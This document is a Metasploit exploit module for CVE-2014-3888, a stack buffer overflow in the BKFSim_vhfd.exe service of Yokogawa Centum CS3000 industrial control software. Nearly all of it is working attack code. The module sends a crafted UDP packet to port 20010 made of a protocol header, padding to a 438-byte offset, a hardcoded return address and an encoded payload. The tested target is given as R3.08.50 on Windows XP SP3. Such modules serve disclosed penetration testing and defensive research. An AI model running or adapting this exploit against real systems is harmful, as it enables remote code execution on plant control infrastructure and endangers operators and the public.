Yokogawa CS3000 BKFSim_vhfd.exe Buffer Overflow

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##

# This module requires Metasploit: http//metasploit.com/download

# Current source: https://github.com/rapid7/metasploit-framework

##

 

require 'msf/core'

 

class Metasploit3 < Msf::Exploit::Remote

  Rank = NormalRanking

 

  include Msf::Exploit::Remote::Udp

 

  def initialize(info = {})

    super(update_info(info,

      'Name'           => 'Yokogawa CS3000 BKFSim_vhfd.exe Buffer Overflow',

      'Description'    => %q{

        This module exploits an stack based buffer overflow on Yokogawa CS3000. The vulnerability

        exists in the service BKFSim_vhfd.exe when using malicious user-controlled data to create

        logs using functions like vsprintf and memcpy in a insecure way. This module has been

        tested successfully on Yokogawa Centum CS3000 R3.08.50 over Windows XP SP3.

      },

      'Author'         =>

        [

          'Redsadic <julian.vilas[at]gmail.com>',

          'juan vazquez'

        ],

      'References'     =>

        [

          ['CVE', '2014-3888'],

          ['URL', 'http://jvn.jp/vu/JVNVU95045914/index.html'],

          ['URL', 'http://www.yokogawa.com/dcs/security/ysar/YSAR-14-0002E.pdf'],

          ['URL', 'https://community.rapid7.com/community/metasploit/blog/2014/07/07/r7-2014-06-disclosure-yokogawa-centum-cs-3000-bkfsimvhfdexe-buffer-overflow']

        ],

      'Payload'        =>

        {

          'Space'    => 1770, # 2228 (max packet length) - 16 (header) - (438 target['Offset']) - 4 (ret)

          'DisableNops' => true,

          'BadChars' => "\x00",

          'PrependEncoder' => "\x81\xc4\x54\xf2\xff\xff" # Stack adjustment # add esp, -3500

        },

      'Platform'       => 'win',

      'Targets'        =>

        [

          [ 'Yokogawa Centum CS3000 R3.08.50 / Windows XP SP3',

            {

              'Ret'    => 0x61e55c9c, # push esp | ret # LibBKCCommon.dll

              'Offset' => 438

            }

          ],

        ],

      'DisclosureDate' => 'May 23 2014',

      'DefaultTarget'  => 0))

 

    register_options(

      [

        Opt::RPORT(20010)

      ], self.class)

  end

 

  def exploit

    connect_udp

 

    sploit = "\x45\x54\x56\x48\x01\x01\x10\x09\x00\x00\x00\x01\x00\x00\x00\x44" # header

    sploit << rand_text(target['Offset'])

    sploit << [target.ret].pack("V")

    sploit << payload.encoded

 

    print_status("Trying target #{target.name}, sending #{sploit.length} bytes...")

    udp_sock.put(sploit)

 

    disconnect_udp

  end

 

end